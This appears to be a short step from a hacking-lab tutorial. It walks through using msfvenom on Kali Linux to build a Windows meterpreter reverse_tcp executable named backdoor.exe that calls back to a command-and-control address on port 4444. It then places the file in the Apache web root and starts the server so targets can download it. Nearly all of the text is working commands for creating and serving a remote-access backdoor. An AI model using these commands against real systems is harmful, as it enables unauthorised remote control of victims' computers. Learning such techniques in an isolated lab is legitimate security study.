In step 1 You have setup the LAB. Now it is time to create a simple backdoor. Login into your KALI Linux box (root/toor) and open a terminal.
With the commandline utility msfvenom you are able to create your own payloads or integrate them in existing executable files. Let’s start with the easy level.
If you want to see all the options you can use msfvenom -h
to create your first backdoor use this command
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > backdoor.exe
this command will create an executable file which will connect to our Command & Control Center (Kali Linux) on ip adress 10.10.10.30 with port 4444
the backdoor.exe is placed in your home folder /root/
copy the file to var/www/html/
cp /root/backdoor.exe /var/www/html/backdoor.exe
start the built-in apache server with the command
service apache2 start
Now we are all set to use the backdoor!
